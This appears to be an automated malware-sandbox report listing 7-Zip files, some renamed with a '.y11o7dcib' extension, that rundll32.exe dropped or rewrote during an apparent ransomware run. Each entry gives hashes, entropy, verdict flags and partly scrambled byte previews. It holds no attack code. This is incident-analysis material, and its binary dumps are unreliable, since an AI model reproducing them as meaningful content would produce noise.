SHA-512:	114A62C2EAAF28075A164E3668E58838B6157E381CBE077086CCCAB950AF779ED7A5FC0DA397DC9F370E19D12DD8F000680AC37C3103FBAD61498A3367758D3F
Malicious:	false
Preview:	8q\)..)X.6O..C.a....`u..BN:..3.#...cY.h..q..;..E:..~...5%..!.........!..L.!This program cannot be run in DOS mode....$.........#...M...M...M..F...M.\|.C...M..G...M..I...M.q.....M...L.N.M.....!0d.W..P.cL..K.>..8.6.....~P.a.......p..?t......oJ3R.VMq3lB........................PE..L....\.d........../...............................@.................................................u+.)..)X.6O....a....`u..^M:..3....5EY.h..q..;..E:..~...5%..!.....................................................h............................text............................... ..`.rdata...C.)./+X.\O....a....`u..BN:Z.3..G...cY....q..;..E:..}...5%..!.....@....sxdata.............................@....rsrc....&.......(..................@..@........................................u+.)..)X.6O....a....`u..BN:..3.#...cY.h..q..;..E:..~...5%..!.................................................................................................................................u+.)..)X.6O....a....`u..BN:..3.#...cY.

C:\Program Files\7-Zip\7z.sfx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	214842
Entropy (8bit):	7.203369199799143
Encrypted:	false
SSDEEP:	3072:z3n1C7sj8h8hSYtmrTN0pawQITufnmvn7R9J+aKOHcqopnFV7sI20Nj+WkAp:D8Sdt0ypakuO7R7JK0cqopnFV4ICWz
MD5:	601B69C8DFB71F8F7F19AEC8A7DA013C
SHA1:	9CFE7FB9071E24364590A04AA38B5653E84093A4
SHA-256:	77E200DDFB79E183C49D7D53B8431496A4B9500F221E2AEBBB0C4A3CEE1B1F0A
SHA-512:	114A62C2EAAF28075A164E3668E58838B6157E381CBE077086CCCAB950AF779ED7A5FC0DA397DC9F370E19D12DD8F000680AC37C3103FBAD61498A3367758D3F
Malicious:	false
Preview:	8q\)..)X.6O..C.a....`u..BN:..3.#...cY.h..q..;..E:..~...5%..!.........!..L.!This program cannot be run in DOS mode....$.........#...M...M...M..F...M.\|.C...M..G...M..I...M.q.....M...L.N.M.....!0d.W..P.cL..K.>..8.6.....~P.a.......p..?t......oJ3R.VMq3lB........................PE..L....\.d........../...............................@.................................................u+.)..)X.6O....a....`u..^M:..3....5EY.h..q..;..E:..~...5%..!.....................................................h............................text............................... ..`.rdata...C.)./+X.\O....a....`u..BN:Z.3..G...cY....q..;..E:..}...5%..!.....@....sxdata.............................@....rsrc....&.......(..................@..@........................................u+.)..)X.6O....a....`u..BN:..3.#...cY.h..q..;..E:..~...5%..!.................................................................................................................................u+.)..)X.6O....a....`u..BN:..3.#...cY.

C:\Program Files\7-Zip\7zCon.sfx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	193338
Entropy (8bit):	7.248679000360614
Encrypted:	false
SSDEEP:	3072:CML171U0mZKZE357i15LKmkuCjIyyL4D6QXn4RlShkNzu3KeSstj:5U3EtKRuwIyM4DlXn4RlMkNSKeSstj
MD5:	49C18A15D2A7DFC9321A4B16802E5B93
SHA1:	B93F5D14DE61024AC639CEBA7E3A4D970375F4B9
SHA-256:	22009D55A675544BCCE8307668C2B43DA65DD0B8FD2536D5224F53F6DDF31C94
SHA-512:	965B5209B79A19650C35F8C6CD240C8D6DFA74F0443B030B8FFB7A76CC13747164366C50841063D6D0E42743DFC0A269E71CA7E8046EFBF5885BAA5DCE96BFCB
Malicious:	false
Preview:	..u.='\9.`......`.3.A.q.O...W...HV........-....j..,->`.............!..L.!This program cannot be run in DOS mode....$........T.YC5..C5..C5..,..@5...)..K5..,..H5..,..A5...=..B5..C5..55...lK.z.. H....!.u.Ck..sK.bbEN..]...B.....q.../..`G..'l.r...G.........................PE..L....\.d........../......t...........Z............@..........................p......................HQ..>7\=.`..+.. ..`.3.A..Ok..W.x.H.........-....j..,->`......................................................................................text....s.......t.................. ..`.rdata...4..>.^=.`..S.. ..`.3.A.q.OO....\|.<7..............j.I.->`.........@....sxdata......P......................@....rsrc........`......................@..@........................................HQ..>'\=.`..+.. ..`.3.A.q.O...W...HV........-....j..,->`.....................................................................................................................................HQ..>'\*=.`..+.. ..`.3.A.q.O...W...HV...

C:\Program Files\7-Zip\7zCon.sfx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	193338
Entropy (8bit):	7.248679000360614
Encrypted:	false
SSDEEP:	3072:CML171U0mZKZE357i15LKmkuCjIyyL4D6QXn4RlShkNzu3KeSstj:5U3EtKRuwIyM4DlXn4RlMkNSKeSstj
MD5:	49C18A15D2A7DFC9321A4B16802E5B93
SHA1:	B93F5D14DE61024AC639CEBA7E3A4D970375F4B9
SHA-256:	22009D55A675544BCCE8307668C2B43DA65DD0B8FD2536D5224F53F6DDF31C94
SHA-512:	965B5209B79A19650C35F8C6CD240C8D6DFA74F0443B030B8FFB7A76CC13747164366C50841063D6D0E42743DFC0A269E71CA7E8046EFBF5885BAA5DCE96BFCB
Malicious:	false
Preview:	..u.='\9.`......`.3.A.q.O...W...HV........-....j..,->`.............!..L.!This program cannot be run in DOS mode....$........T.YC5..C5..C5..,..@5...)..K5..,..H5..,..A5...=..B5..C5..55...lK.z.. H....!.u.Ck..sK.bbEN..]...B.....q.../..`G..'l.r...G.........................PE..L....\.d........../......t...........Z............@..........................p......................HQ..>7\=.`..+.. ..`.3.A..Ok..W.x.H.........-....j..,->`......................................................................................text....s.......t.................. ..`.rdata...4..>.^=.`..S.. ..`.3.A.q.OO....\|.<7..............j.I.->`.........@....sxdata......P......................@....rsrc........`......................@..@........................................HQ..>'\=.`..+.. ..`.3.A.q.O...W...HV........-....j..,->`.....................................................................................................................................HQ..>'\*=.`..+.. ..`.3.A.q.O...W...HV...

C:\Program Files\7-Zip\7zFM.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	953146
Entropy (8bit):	7.003731044580828
Encrypted:	false
SSDEEP:	12288:oDlf7JfnA+xtrZoIr3xxj1Jk7qwAINGDSE7iTpMMBPYeoC8MljeRK:ol7JfA+xtrZoIr3zj1afzEOVgCnxH
MD5:	8AA44CC6BC74BC5F9FF3E069EDCBA50F
SHA1:	9B30583583B663ADD4F147C895D6F1876BBFDA71
SHA-256:	1465414AD0A8D7E8CA8058E2FE92C4AC677629491F738F55AB29E7BEA791D2D6
SHA-512:	0586F83D2B2E35351073145FBEF2DD0CE0F19D29ABB52E2D0195E30E096528805D2D58B7B8DE54DD813BECA471270BC9C40BC0A01C41D28EE5DADDB5250DF3D8
Malicious:	true
Preview:	d>..!...A....5.:.. ..D.......d.Y>....8.n....\......b...op..........!..L.!This program cannot be run in DOS mode....$.........\..2..2..2.0.\..2..I..2..3..2..O..2..\.D.2...6..2.e.uX..:...z....;...S.....x.d.[d.Y>....8.n....\......2........\.d.........."......b...8......Pi........@...........................................`.........................................)dI..!....M../.5......D... !..d.Y>....8F`.`..\......b....p......................................(.......@....................text....a.......b.................. ..`.rdata...i.......j...f..)dI..!...A.y/.u.^.hA..D.......d.Y>....8.n....\.......L.\|..... ...........................@..@.rsrc...............................@..@.reloc...............r..............@..B................)dI..!...A.9/.5.:.. ..D.......d.Y>....8.n....\......b....p..................................................................................................................................)dI..!...A.9/.5.:.. ..D.......d.Y>....

C:\Program Files\7-Zip\7zFM.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	953146
Entropy (8bit):	7.003731044580828
Encrypted:	false
SSDEEP:	12288:oDlf7JfnA+xtrZoIr3xxj1Jk7qwAINGDSE7iTpMMBPYeoC8MljeRK:ol7JfA+xtrZoIr3zj1afzEOVgCnxH
MD5:	8AA44CC6BC74BC5F9FF3E069EDCBA50F
SHA1:	9B30583583B663ADD4F147C895D6F1876BBFDA71
SHA-256:	1465414AD0A8D7E8CA8058E2FE92C4AC677629491F738F55AB29E7BEA791D2D6
SHA-512:	0586F83D2B2E35351073145FBEF2DD0CE0F19D29ABB52E2D0195E30E096528805D2D58B7B8DE54DD813BECA471270BC9C40BC0A01C41D28EE5DADDB5250DF3D8
Malicious:	false
Preview:	d>..!...A....5.:.. ..D.......d.Y>....8.n....\......b...op..........!..L.!This program cannot be run in DOS mode....$.........\..2..2..2.0.\..2..I..2..3..2..O..2..\.D.2...6..2.e.uX..:...z....;...S.....x.d.[d.Y>....8.n....\......2........\.d.........."......b...8......Pi........@...........................................`.........................................)dI..!....M../.5......D... !..d.Y>....8F`.`..\......b....p......................................(.......@....................text....a.......b.................. ..`.rdata...i.......j...f..)dI..!...A.y/.u.^.hA..D.......d.Y>....8.n....\.......L.\|..... ...........................@..@.rsrc...............................@..@.reloc...............r..............@..B................)dI..!...A.9/.5.:.. ..D.......d.Y>....8.n....\......b....p..................................................................................................................................)dI..!...A.9/.5.:.. ..D.......d.Y>....

C:\Program Files\7-Zip\7zG.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	700730
Entropy (8bit):	7.0161959100866005
Encrypted:	false
SSDEEP:	12288:D7W2C+3ttOKZxtozaV1hqqSLukMk9wWr0cDV5hpPyVY5HwP:PbewfMd93YcCe5u
MD5:	CA1193DDF9281AA96AE4D9A4752AAC62
SHA1:	1B81DAF3BB4382EAE15D1EA87A93CD54C5E34A15
SHA-256:	8230E5EA20590D6F2EC2A42A712B0B9E5817CBBD022E49AA1F4C5646B8AFDD76
SHA-512:	74F2A681259E94D93FAD0268369E8A403A18B0BF7BBA4583E1FE3D7458DFE0F1EC77313EFE635FD6228FD6A4BCDC8C4CD5C1B543EA1A3AE4D3A6156C3A93060F
Malicious:	true
Preview:	....0..H..g\|.p.....e....+.h..Q.).P..9...s...V.?..j.59.....%,..H........!..L.!This program cannot be run in DOS mode....$.......;.VS.y8..y8..y8...C.jy8..y9..y8...E.}y8...V..y8.i.<.~y8...U.ky8.;.!.M..H..#\|..,.ph.e..4.9..ng(%).P..9...#...2.9.d6.Q9.....%,.'H.....&..........."........@.............................. ............`..........................................................X.....H..m\|....y..e....k.c..Y.).P..9...s...V.?..j.59.....%,-..H.................@...............................text...4$.......&.................. ..`.rdata..Ts...@...t...*..............@..@.{.R..H..g\|kO..y..e.k..k.h..Q.).P..y...]..".?.x..59....'%,-..H............@..@.rsrc....d.......f...:..............@..@.reloc..............................@..B....................................3..H..g\|k...y..e....k.h..Q.).P..9...s...V.?..j.59.....%,-..H....................................................................................................................................3..H..g\|k...y..e....k.h..Q.).P..9...

C:\Program Files\7-Zip\7zG.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	700730
Entropy (8bit):	7.0161959100866005
Encrypted:	false
SSDEEP:	12288:D7W2C+3ttOKZxtozaV1hqqSLukMk9wWr0cDV5hpPyVY5HwP:PbewfMd93YcCe5u
MD5:	CA1193DDF9281AA96AE4D9A4752AAC62
SHA1:	1B81DAF3BB4382EAE15D1EA87A93CD54C5E34A15
SHA-256:	8230E5EA20590D6F2EC2A42A712B0B9E5817CBBD022E49AA1F4C5646B8AFDD76
SHA-512:	74F2A681259E94D93FAD0268369E8A403A18B0BF7BBA4583E1FE3D7458DFE0F1EC77313EFE635FD6228FD6A4BCDC8C4CD5C1B543EA1A3AE4D3A6156C3A93060F
Malicious:	false
Preview:	....0..H..g\|.p.....e....+.h..Q.).P..9...s...V.?..j.59.....%,..H........!..L.!This program cannot be run in DOS mode....$.......;.VS.y8..y8..y8...C.jy8..y9..y8...E.}y8...V..y8.i.<.~y8...U.ky8.;.!.M..H..#\|..,.ph.e..4.9..ng(%).P..9...#...2.9.d6.Q9.....%,.'H.....&..........."........@.............................. ............`..........................................................X.....H..m\|....y..e....k.c..Y.).P..9...s...V.?..j.59.....%,-..H.................@...............................text...4$.......&.................. ..`.rdata..Ts...@...t...*..............@..@.{.R..H..g\|kO..y..e.k..k.h..Q.).P..y...]..".?.x..59....'%,-..H............@..@.rsrc....d.......f...:..............@..@.reloc..............................@..B....................................3..H..g\|k...y..e....k.h..Q.).P..9...s...V.?..j.59.....%,-..H....................................................................................................................................3..H..g\|k...y..e....k.h..Q.).P..9...

C:\Program Files\7-Zip\History.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	58619
Entropy (8bit):	6.520421524378031
Encrypted:	false
SSDEEP:	768:o5OPhdua1Acq1OcPHh4RZe7PqDgUg2/z5eJd+rXhOeixpfMjuKod7:yO3Fe/vUeL6gh2/XhgjMjuKA7
MD5:	7EDFE35E4B5460FD66A80AC21E6125AE
SHA1:	882EE620156117749AF8717EC5C1E44EE23A3D9A
SHA-256:	B8092DA7D71972918B005B2E8CD625FDE7B56C90132F069915D53FCAFA370420
SHA-512:	08C51F889AB54F593A4E01B8A496E23CC89D38F5C05C8A36275FE28C98B742CE7AB389D3AEBF2BAF424E567AA5F1DEAD8656530432FE46500C3E5ACA9CF087CB
Malicious:	false
Preview:	.....X]...'...Y.B....>..x..2...ni..D.s......I.53.C..V.B..c;.023-06-20..-------------------------..- The page "Language" in 7-Zip's menu Tools/Options now shows information.. about selecte...ba...!.^D.......]..!....j....c+Fr..?K...sv..wj..M.{.O.,v. bugs were fixed.......23.00 2023-05-07..-------------------------..- 7-Zip now can use new ARM64 filter for compressio....;h...,.H.........@.._..R....(T7..=D..ip.Lzp.C]......0r.n ratio for data containing executable.. files compiled for ARM64 (AArch64) architecture... Also 7-Zip now parses executable f...$f...h.Q.T.....W..9....s....&dE..0V...t:v#;#..X...B...k.essing, and it selects appropriate filter for each parsed file:.. - BCJ or BCJ2 filter for x86 executable files,.. - ARM64....i`...:.q:\|.V....F.7....v....NN.r9.;S...t3.Lip..P.V...&}.ult used x86 filter BCJ or BCJ2 for all exe/dll files...- Default section size for BCJ2 filter was changed from 64 MiB to 240 Mi....,[..)..._.......P.%...v...."0I=I

C:\Program Files\7-Zip\History.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	58619
Entropy (8bit):	6.520421524378031
Encrypted:	false
SSDEEP:	768:o5OPhdua1Acq1OcPHh4RZe7PqDgUg2/z5eJd+rXhOeixpfMjuKod7:yO3Fe/vUeL6gh2/XhgjMjuKA7
MD5:	7EDFE35E4B5460FD66A80AC21E6125AE
SHA1:	882EE620156117749AF8717EC5C1E44EE23A3D9A
SHA-256:	B8092DA7D71972918B005B2E8CD625FDE7B56C90132F069915D53FCAFA370420
SHA-512:	08C51F889AB54F593A4E01B8A496E23CC89D38F5C05C8A36275FE28C98B742CE7AB389D3AEBF2BAF424E567AA5F1DEAD8656530432FE46500C3E5ACA9CF087CB
Malicious:	false
Preview:	.....X]...'...Y.B....>..x..2...ni..D.s......I.53.C..V.B..c;.023-06-20..-------------------------..- The page "Language" in 7-Zip's menu Tools/Options now shows information.. about selecte...ba...!.^D.......]..!....j....c+Fr..?K...sv..wj..M.{.O.,v. bugs were fixed.......23.00 2023-05-07..-------------------------..- 7-Zip now can use new ARM64 filter for compressio....;h...,.H.........@.._..R....(T7..=D..ip.Lzp.C]......0r.n ratio for data containing executable.. files compiled for ARM64 (AArch64) architecture... Also 7-Zip now parses executable f...$f...h.Q.T.....W..9....s....&dE..0V...t:v#;#..X...B...k.essing, and it selects appropriate filter for each parsed file:.. - BCJ or BCJ2 filter for x86 executable files,.. - ARM64....i`...:.q:\|.V....F.7....v....NN.r9.;S...t3.Lip..P.V...&}.ult used x86 filter BCJ or BCJ2 for all exe/dll files...- Default section size for BCJ2 filter was changed from 64 MiB to 240 Mi....,[..)..._.......P.%...v...."0I=I

C:\Program Files\7-Zip\Lang\af.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5339
Entropy (8bit):	6.5924841551510545
Encrypted:	false
SSDEEP:	96:+00Xy5hD5N5kdM/S1/N1tqnfM2SlQ3vSagVcKJjWEM2TjdBZrYr9ucGS:gy5l5N5c1/N1onf5SlsKaDKJvM2dH09n
MD5:	A11C4B300435FC5F91794AE39D5FD5BF
SHA1:	AB3C8CB0103D1556CE119011A47FD17A0D1B700E
SHA-256:	9D2AA72F23DF998B961E7447878000A19D5FAF0DF832305F9D41414250B5A371
SHA-512:	3132BFAFCDBEADF988ECA70F682D8D9C78FD2E85D6E30E86DD1F009323F1A2B2CE8B704A3488F28D3ECECCF905D2849BF5907DDFF363952976784E9190D7C90E
Malicious:	false
Preview:	.._mohz..0....D\~.I.D7...ru.u..S'.."Q........K..6.......H1U'.x..;..;..;..0..7-Zip..Afrikaans..Afrikaans..401..OK..Kanselleer........&Ja..&Nee..A&fsluit..Hulp....&Gaan voort..440..Ja vir &almC\|Rn.JA;..p...o.7N..x....).-...IXs.)Y....f..L5.j.a.v.!6d.."g..Wagtend..Is u seker dat u wil kanselleer?..500..&L.er..R&edigeer..&Vertoon..G&unstelinge..&Gereedskap..&Hulp..540..&Open..OpG~.B.FJu......."3`O-......;?.E...C<...L.m../..$R.6.E..m.7..K.m...&Verskuif na.....Ve&rwyder..Ver&deel l.er.....Kom&bineer l.ers.....E&ienskappe..Komme&ntaar......Maak gids..Maak l.er..A&fQ\|.8".-.......g.2_!._1...'?.E...B9...[.....e..22.w.k.."..)^.Y.& om..Selekteer.....Deselekteer.....Selekteer op Soort..Deselekteer op Soort..700..&Groot ikone..&Klein ikone..&Lys..&Detail..730/...+JWt..g..p.{`.d..y...OF.....E4...3.*..)..3K.P.g.$.56do.- vlak ho.r..Gidse geskiedenis.....&Verfris..750..Argiveernutsbalk..Standaardnutsbalk..Groot knoppies..Wys teks op knoppies..800/...)H.\|..q...Ze.(I0..~...bj.<...H0...L.

C:\Program Files\7-Zip\Lang\af.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5339
Entropy (8bit):	6.5924841551510545
Encrypted:	false
SSDEEP:	96:+00Xy5hD5N5kdM/S1/N1tqnfM2SlQ3vSagVcKJjWEM2TjdBZrYr9ucGS:gy5l5N5c1/N1onf5SlsKaDKJvM2dH09n
MD5:	A11C4B300435FC5F91794AE39D5FD5BF
SHA1:	AB3C8CB0103D1556CE119011A47FD17A0D1B700E
SHA-256:	9D2AA72F23DF998B961E7447878000A19D5FAF0DF832305F9D41414250B5A371
SHA-512:	3132BFAFCDBEADF988ECA70F682D8D9C78FD2E85D6E30E86DD1F009323F1A2B2CE8B704A3488F28D3ECECCF905D2849BF5907DDFF363952976784E9190D7C90E
Malicious:	false
Preview:	.._mohz..0....D\~.I.D7...ru.u..S'.."Q........K..6.......H1U'.x..;..;..;..0..7-Zip..Afrikaans..Afrikaans..401..OK..Kanselleer........&Ja..&Nee..A&fsluit..Hulp....&Gaan voort..440..Ja vir &almC\|Rn.JA;..p...o.7N..x....).-...IXs.)Y....f..L5.j.a.v.!6d.."g..Wagtend..Is u seker dat u wil kanselleer?..500..&L.er..R&edigeer..&Vertoon..G&unstelinge..&Gereedskap..&Hulp..540..&Open..OpG~.B.FJu......."3`O-......;?.E...C<...L.m../..$R.6.E..m.7..K.m...&Verskuif na.....Ve&rwyder..Ver&deel l.er.....Kom&bineer l.ers.....E&ienskappe..Komme&ntaar......Maak gids..Maak l.er..A&fQ\|.8".-.......g.2_!._1...'?.E...B9...[.....e..22.w.k.."..)^.Y.& om..Selekteer.....Deselekteer.....Selekteer op Soort..Deselekteer op Soort..700..&Groot ikone..&Klein ikone..&Lys..&Detail..730/...+JWt..g..p.{`.d..y...OF.....E4...3.*..)..3K.P.g.$.56do.- vlak ho.r..Gidse geskiedenis.....&Verfris..750..Argiveernutsbalk..Standaardnutsbalk..Groot knoppies..Wys teks op knoppies..800/...)H.\|..q...Ze.(I0..~...bj.<...H0...L.

C:\Program Files\7-Zip\Lang\an.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8090
Entropy (8bit):	6.550885189552777
Encrypted:	false
SSDEEP:	192:clXXGZSQ74pg4cYgWDdABjRAh5I/X1YVyBB22S:ctm7f4PZSP2V0s
MD5:	2D1EE6950FE8A89ACD7C74BFCF5E7143
SHA1:	B3FAA5D71C5509A408B29B29859612A74EEAC712
SHA-256:	06155F6D5388717A84394684828F6D67614644D62C8E13270282EBC7006E5F18
SHA-512:	BF11636B74199894DC41AEF32989613E103D667ABE91B5D391B560A580D4A3A1FCCCB2138629D976F5F2DAA7B37129A8C2DBA6D400097834B4F0BC56CE58054C
Malicious:	false
Preview:	L..wg......i......c&.U>.E...q.a.. xFv.s..%w.j...0.7'.DE....[u: Juan Pablo Mart.nez..;..;..;..;..;..;..;..;..;..0..7-Zip..Aragonese..Aragon.s..401..Acceptar..Cancelar........&S...&No..&Za...>K^.....$5..w.G,_.....o...F..7."1.l.'...l;m$.@...Ok....T..8:rnar a empecipiar..Se&gundo plano..P&rimer plano..&Pausa..Aturau..Yes seguro que quiers cancelar?..500..&Fichero..&Editar..&Veye.u.j.59....FL..w.M0Y..w......A.."..".--.c..qVy~m.k.1.7C._C.B...'o..Ubrir &difuera..&Veyer..&Editar..Re&nombrar..&Copiar en.....&Mover ta.....&Borrar..Di&vidir o fichero.....C&ombinar os ficher.V.bK^i....@Z..%.%Hh..{......$..G.. dKy.s..$vvm$.....(Z....E.o.;..Diff..Creyar carpeta..Creyar fichero..&Salir..600..Seleccionar-lo &tot..Deseleccionar-lo tot..&Invertir selecci.n..Selecciona.V.bK^.....L\..>.I0..@.......(..j..caHj.'..8..Ha.....&C........utipo..700..Iconos g&rans..&Iconos chicotz..&Lista..&Detalles..730..Desordenau..Anvista plana..&2 panels..&Barras de ferramientas.r..4==..].HM..%..0J..d.&......$..*.-P.

C:\Program Files\7-Zip\Lang\an.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8090
Entropy (8bit):	6.550885189552777
Encrypted:	false
SSDEEP:	192:clXXGZSQ74pg4cYgWDdABjRAh5I/X1YVyBB22S:ctm7f4PZSP2V0s
MD5:	2D1EE6950FE8A89ACD7C74BFCF5E7143
SHA1:	B3FAA5D71C5509A408B29B29859612A74EEAC712
SHA-256:	06155F6D5388717A84394684828F6D67614644D62C8E13270282EBC7006E5F18
SHA-512:	BF11636B74199894DC41AEF32989613E103D667ABE91B5D391B560A580D4A3A1FCCCB2138629D976F5F2DAA7B37129A8C2DBA6D400097834B4F0BC56CE58054C
Malicious:	false
Preview:	L..wg......i......c&.U>.E...q.a.. xFv.s..%w.j...0.7'.DE....[u: Juan Pablo Mart.nez..;..;..;..;..;..;..;..;..;..0..7-Zip..Aragonese..Aragon.s..401..Acceptar..Cancelar........&S...&No..&Za...>K^.....$5..w.G,_.....o...F..7."1.l.'...l;m$.@...Ok....T..8:rnar a empecipiar..Se&gundo plano..P&rimer plano..&Pausa..Aturau..Yes seguro que quiers cancelar?..500..&Fichero..&Editar..&Veye.u.j.59....FL..w.M0Y..w......A.."..".--.c..qVy~m.k.1.7C._C.B...'o..Ubrir &difuera..&Veyer..&Editar..Re&nombrar..&Copiar en.....&Mover ta.....&Borrar..Di&vidir o fichero.....C&ombinar os ficher.V.bK^i....@Z..%.%Hh..{......$..G.. dKy.s..$vvm$.....(Z....E.o.;..Diff..Creyar carpeta..Creyar fichero..&Salir..600..Seleccionar-lo &tot..Deseleccionar-lo tot..&Invertir selecci.n..Selecciona.V.bK^.....L\..>.I0..@.......(..j..caHj.'..8..Ha.....&C........utipo..700..Iconos g&rans..&Iconos chicotz..&Lista..&Detalles..730..Desordenau..Anvista plana..&2 panels..&Barras de ferramientas.r..4==..].HM..%..0J..d.&......$..*.-P.

C:\Program Files\7-Zip\Lang\ar.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13108
Entropy (8bit):	6.183295053592576
Encrypted:	false
SSDEEP:	384:RywjqQ24f6LnI4/6scQgiPXEl7DF9Q39lUQXSibpc+v20+45:R+B4gI4/6aP0l7h9QNlUQXSiVc++VO
MD5:	E90A75ED129023B0A64D47D9010C9FA9
SHA1:	F20C9BEC03CD8DA226FB2F2ACD1E8670C80C3625
SHA-256:	EB216B4C487609B4E7D0D67831ECD1038520836DEC3FE5A35D2BFA44E5E5D5B4
SHA-512:	6ADADD99600995A09B7134D2F48E81077912865A046FD3ACF53546CF3FF0E25CFB958421F87B8D5578A9BAE98115141DE039C1A31015B72441FA5FEAA81E3D54
Malicious:	false
Preview:	3X.....9.J..m}%8..\...K.0,.9H.,....l.....5..~7..n`.W...V.q.... .........; 9.07 : Awadh A Al-Ghaamdi..;..; 15.00 : 2016-08-28 : ..... ...... .......: ... ..]Wp.fKYv...v.......h...Z..6..x.2....1.u.W1..z......d..SS...9dited and corrected)..; 20.00 : 2020-04-01 : Ammar Kurd (Edits and corrections)..;..;..;..;..;..0..7-Zip..Arabic........401...(<.b9..w.I.v........>.i..l^.Q..D.:....7M...5..\..o]....Q..................&.........440..... ........ .................. ..........&.....<.....v...w.z.{...G..a.0#..I.-..3.....v..G...jiSoQ.V..~q......... ... ..... .. ..........500..&.....&.......&.........&.......&.......&...]Cp.ga...N..eQ".z...G..a.0!..H.-..js....w..Jw..k..n~......Y..........&.....&..........&.. ............&.. ........&.. .....&.....&..... .....W...ga.+9.&....z...F.i..B.(..R-..6.e/

C:\Program Files\7-Zip\Lang\ar.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13108
Entropy (8bit):	6.183295053592576
Encrypted:	false
SSDEEP:	384:RywjqQ24f6LnI4/6scQgiPXEl7DF9Q39lUQXSibpc+v20+45:R+B4gI4/6aP0l7h9QNlUQXSiVc++VO
MD5:	E90A75ED129023B0A64D47D9010C9FA9
SHA1:	F20C9BEC03CD8DA226FB2F2ACD1E8670C80C3625
SHA-256:	EB216B4C487609B4E7D0D67831ECD1038520836DEC3FE5A35D2BFA44E5E5D5B4
SHA-512:	6ADADD99600995A09B7134D2F48E81077912865A046FD3ACF53546CF3FF0E25CFB958421F87B8D5578A9BAE98115141DE039C1A31015B72441FA5FEAA81E3D54
Malicious:	false
Preview:	3X.....9.J..m}%8..\...K.0,.9H.,....l.....5..~7..n`.W...V.q.... .........; 9.07 : Awadh A Al-Ghaamdi..;..; 15.00 : 2016-08-28 : ..... ...... .......: ... ..]Wp.fKYv...v.......h...Z..6..x.2....1.u.W1..z......d..SS...9dited and corrected)..; 20.00 : 2020-04-01 : Ammar Kurd (Edits and corrections)..;..;..;..;..;..0..7-Zip..Arabic........401...(<.b9..w.I.v........>.i..l^.Q..D.:....7M...5..\..o]....Q..................&.........440..... ........ .................. ..........&.....<.....v...w.z.{...G..a.0#..I.-..3.....v..G...jiSoQ.V..~q......... ... ..... .. ..........500..&.....&.......&.........&.......&.......&...]Cp.ga...N..eQ".z...G..a.0!..H.-..js....w..Jw..k..n~......Y..........&.....&..........&.. ............&.. ........&.. .....&.....&..... .....W...ga.+9.&....z...F.i..B.(..R-..6.e/

C:\Program Files\7-Zip\Lang\ast.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5685
Entropy (8bit):	6.6376331402283855
Encrypted:	false
SSDEEP:	96:kvzaG16yISIZExZ4Smny1/aEHTN63j7IPU6/EMQXtAW2ZtW4GiEJAqZLS:Z5nZEbmnc/ZzN63nIPU/v0GivELS
MD5:	323D241345CC6DDC92C66D655DD68190
SHA1:	4BBBCF65C7795FC0389AC40AE35321B87164F40C
SHA-256:	0AD723E071E14B02B4E27EAA9668A3ADA5A689F513C5E89995261E78918C2CD8
SHA-512:	08419C152ED04235C880ACCAF30AF11DC2923D2C1EABC89C0B7D43998003B5D85DEFE779C45F22064F38C158FD12D4EFB00F9D4CEB704A0CC8623D796D193765
Malicious:	false
Preview:	...b7l3...E.@.Id...._Dm.{.1.y>\|$..v.9q..........v.z....<.0t@...;..;..;..0..7-Zip..Asturian..Asturianu..401..Val..Torgar........&Si..&Non..&Zarrar..Axuda....&Siguir..440..Si a &Too..Non a T&oo-.~.1.R_.8.`^a.b(... .m.:.b.N.....k.$y.....r....k...o.3;.d.+....Tas fixu que quies paralo?..500..F&icheru..&Remanar..&Ver..F&avoritos..&Ferramientes..A&xuda..540..&Abrir..Abrir &Dientro..AbrIe..e.E .g.#fp..C....,.X.T.-q. ....kW....3....@.V.a.[C.jWd.&Borrar..&Partir ficheru.....Com&binar ficheros.....P&ropiedaes..Come&ntariu......Crear carpeta..Crear ficheru..Co&lar..600..SelE~M.,.A .L.j_..K,......$.;.t.7qW@..R.;q.....`.......`.4b.g.#...nar.....Deseleicionar.....Seleicionar por Tipu..Deseleicionar por Tipu..700..Miniatures &Grandes..&Miniatures Peque.es..&Llista-...&.A>....:".?D....#...b.-.J@.....4....v........k..U.+?/...mientes..Abrir Carpeta Raiz..Xubir Un Nivel..Hestorial de Carpetes.....Actualiza&r..750..Barra Ferramientes d.Archivu..Barra FeReO.*.N&...K_g.n%.....#.&.A."p\(.... {.

C:\Program Files\7-Zip\Lang\ast.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5685
Entropy (8bit):	6.6376331402283855
Encrypted:	false
SSDEEP:	96:kvzaG16yISIZExZ4Smny1/aEHTN63j7IPU6/EMQXtAW2ZtW4GiEJAqZLS:Z5nZEbmnc/ZzN63nIPU/v0GivELS
MD5:	323D241345CC6DDC92C66D655DD68190
SHA1:	4BBBCF65C7795FC0389AC40AE35321B87164F40C
